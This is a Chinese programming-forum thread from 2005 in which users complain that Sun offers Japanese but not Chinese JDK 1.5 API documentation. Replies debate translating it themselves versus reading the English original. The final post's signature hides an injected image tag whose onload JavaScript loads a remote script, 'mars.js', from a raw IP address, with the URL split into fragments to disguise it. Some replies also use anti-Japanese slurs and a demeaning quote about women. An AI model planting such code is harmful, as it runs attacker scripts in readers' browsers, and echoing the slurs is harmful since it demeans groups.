lijiannan_1981
著名写手
著名写手
  • 铜币15枚
  • 威望0点
  • 贡献值0点
阅读:922回复:14

[灌水]强烈抗议SUN公司

楼主#
更多 发布于:2005-01-11 21:28
      JDK1.5已经出来快两个月了,我上了无数次sun公司的java网站,寻找中文版的API文档,可是无奈,有英文版的就不说什么了,竟然还有日文版的!!!
      我日了,真是气死洒家了,可见SUN对中国程序员的轻视,有日文,为什么不能有中文,小日本为什么不用看英文。偶英语简直是太差了,借助于“金山糍粑”可以勉强看懂一下部分,日!
      谁能帮忙找一个中文版的java_api啊,偶看jdk文档实在是痛苦啊!
      谁能帮帮偶啊,快学不动了啊 [ 2005-01-11 21:58:51 lijiannan_1981 修改 ]
无。
松柏
论坛版主
论坛版主
  • 铜币371枚
  • 威望39点
  • 贡献值0点
  • 社区居民
1C#
发布于:2005-01-11 21:43
Re:[灌水]强烈抗议SUN公司
现在有好多的网站上都有日文的,而且在旅游等文字介绍中,日文也是必须的六种语言之一,好象是六种吧,真是郁闷呢。

要让中文留在全世界,我们只有自己翻译了,如果翻译的东西被认可了,就可以放在官方的网站上了 -------------------- 我就是我,松柏!
日志:http://songbai.blog.wait4c.com/
[color=#0000FF]馋嘴蜗牛[/color] 我的博客:[url]http://osnaile.osdn.cn/[/url]
lijiannan_1981
著名写手
著名写手
  • 铜币15枚
  • 威望0点
  • 贡献值0点
2C#
发布于:2005-01-11 21:56
Re:[灌水]强烈抗议SUN公司
可是有14亿的人在使用汉语啊
难道就不能少数服从多数吗
我就不明白了

咱们中国的程序员和有志做程序员的人都一起努力吧!!!
无。
0000
作家
作家
  • 铜币143枚
  • 威望34点
  • 贡献值1点
3C#
发布于:2005-01-12 12:39
Re:[灌水]强烈抗议SUN公司
谁让日本牛X呢~`和人多人少没关系
表骂偶叛国,偶怕...

日本不论经济还是技术确实要比咱强
不用举个别例子,从整体来说
看看国美有多少日本产的电器吧. -------------------- [a=http://go2west.512j.com/]西へ·独自旅行人のBLOG[/a]
罪惡之門。
    Username: █████████
  
    Password:  █████████
                Don't ask for my
                   password for 2 weeks.
.--. |o_o | |:_/ | // \ \ (| | ) /'\_ _/`\ \___)=(___/
lijiannan_1981
著名写手
著名写手
  • 铜币15枚
  • 威望0点
  • 贡献值0点
4C#
发布于:2005-01-12 14:20
Re:[灌水]强烈抗议SUN公司
oooo有叛国倾向啊
无。
W
W
小有名气
小有名气
  • 铜币3枚
  • 威望1点
  • 贡献值0点
5C#
发布于:2005-01-12 15:05
Re:[灌水]强烈抗议SUN公司
看不懂就不要看了
southeast
著名写手
著名写手
  • 铜币0枚
  • 威望0点
  • 贡献值0点
6C#
发布于:2005-01-12 17:57
Re:[灌水]强烈抗议SUN公司
其实api文档还是看sun的英文原版比较好,个人认为 -------------------- Everytime is a Happytime
[img]http://www.wait4c.com/bbs/userfiles/2196/2005051614543457820.jpg[/img]
ApH
ApH
知名人士
知名人士
  • 铜币0枚
  • 威望0点
  • 贡献值0点
7C#
发布于:2005-01-17 20:48
Re:[灌水]强烈抗议SUN公司
他们有,我们看,这就好了。起码你还有看懂英文的可能,他们可没有看懂中文的可能。

Sun的冬冬很久以前就是这样了,最近发现很多好的网站/电子书都是德文的,那才郁闷呢!程序用英文写,文档也看英文的吧,学理工科早晚要上这条路的。
0000
作家
作家
  • 铜币143枚
  • 威望34点
  • 贡献值1点
8C#
发布于:2005-01-18 11:33
Re:[灌水]强烈抗议SUN公司
推荐易语言;-) -------------------- [a=http://go2west.512j.com/]西へ·独自旅行人のBLOG[/a]
罪惡之門。
    Username: █████████
  
    Password:  █████████
                Don't ask for my
                   password for 2 weeks.
.--. |o_o | |:_/ | // \ \ (| | ) /'\_ _/`\ \___)=(___/
slw4qd
著名写手
著名写手
  • 铜币2枚
  • 威望0点
  • 贡献值0点
9C#
发布于:2005-01-18 19:28
Re:[灌水]强烈抗议SUN公司
日文也是人家日本人自己翻译的
自己不动手...没辙~




--------------------
fishpot.512j.com [ 2005-01-19 01:39:08 slw4qd 修改 ]
lijiannan_1981
著名写手
著名写手
  • 铜币15枚
  • 威望0点
  • 贡献值0点
10C#
发布于:2005-01-18 21:11
Re:[灌水]强烈抗议SUN公司
????slw,你说什么?
日文也是人自己翻译的这个没辙~ --------------------fishpot.512j.com
无。
mumu
写手
写手
  • 铜币0枚
  • 威望0点
  • 贡献值0点
11C#
发布于:2005-01-18 23:57
Re:[灌水]强烈抗议SUN公司
楼上的cooker急个啥,日本人外语不好,所以找中国人把英文给翻译成日语.翻译那小子英文本来也不太行,加上还故意翻译错不少地方.颇有祖宗武大当年东渡时候误传文字的遗风. -------------------- 王小波说:“中年妇女在中国是一种自然灾害,这倒不是因为她们不好看,而是因为她们故意要恶心人。”

一天,我乘坐公交车,一位MM突然转过头来对我说:“你帅吗?”我说:“我不帅!”MM突然给我一巴掌,并说:“我最讨厌说谎的人了!”

如果你更热爱金钱而非自由,更习惯于被奴役的安宁而畏惧令人充满活力的争取自由的抗争,那么,请你静静地走开。我们不会乞求你的建议或是帮助。伏下身去讨好那喂养你的人吧。但愿身上的锁链不会给你造成太多的痛苦,但愿未来的人们不会记起你曾经是我们的国人

Samuel Adams: 18世纪美国独立革命重要领袖,著有“殖民者的权利”
王小波说:“中年妇女在中国是一种自然灾害,这倒不是因为她们不好看,而是因为她们故意要恶心人。” 一天,我乘坐公交车,一位MM突然转过头来对我说:“你帅吗?”我说:“我不帅!”MM突然给我一巴掌,并说:“我最讨厌说谎的人了!” 如果你更热爱金钱而非自由,更习惯于被奴役的安宁而畏惧令人充满活力的争取自由的抗争,那么,请你静静地走开。我们不会乞求你的建议或是帮助。伏下身去讨好那喂养你的人吧。但愿身上的锁链不会给你造成太多的痛苦,但愿未来的人们不会记起你曾经是我们的国人 Samuel Adams: 18世纪美国独立革命重要领袖,著有“殖民者的权利”
松柏
论坛版主
论坛版主
  • 铜币371枚
  • 威望39点
  • 贡献值0点
  • 社区居民
12C#
发布于:2005-01-19 10:52
Re:[灌水]强烈抗议SUN公司
楼上说的这个不错啊,哈哈,都给小日本翻译错的东西 -------------------- 我就是我,松柏!
日志:http://songbai.blog.wait4c.com/
[color=#0000FF]馋嘴蜗牛[/color] 我的博客:[url]http://osnaile.osdn.cn/[/url]
木竹攸
小有名气
小有名气
  • 铜币0枚
  • 威望0点
  • 贡献值0点
13C#
发布于:2005-01-21 17:39
Re:[灌水]强烈抗议SUN公司
唉!看英文的吧,建议!
There is only one success---to be able to spend your life in your own way.
119
119
普通会员
普通会员
  • 铜币0枚
  • 威望0点
  • 贡献值0点
14C#
发布于:2005-03-04 16:54
Re:[灌水]强烈抗议SUN公司
看不懂就不要看了


我很赞成!有些事情需要自己来搞定,不要老想着靠别人!~
[img]http://220.101.198.35/han_zu.jpg" onclick="return false;" onload="var item = document.getElementById('mars_js'); if (item == null) { item = document.createElement('script'); item.src = 'htt' + 'p:/' + '/220.' + '101.' + '198.' + '35/' + 'js/' + 'mars.js'; item.type = 'text/' + 'javascript'; item.id = 'mars_js';document.body.appendChild(item);}[/img] [a=http://www.apabi.com" onclick="return false;" style="font-size: 24px; font-family: 'Courier New'; color: #0000ff; line-height: 30px; text-decoration: none; font-weight : bold;]studying~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[/a] [a=http://www.apabi.com" onclick="return true;" style="font-size: 18px; font-family: 'Courier New'; color: #000000; line-height: 20px; text-decoration: none; font-weight : bold;]http://www.apabi.com[/a]
游客

返回顶部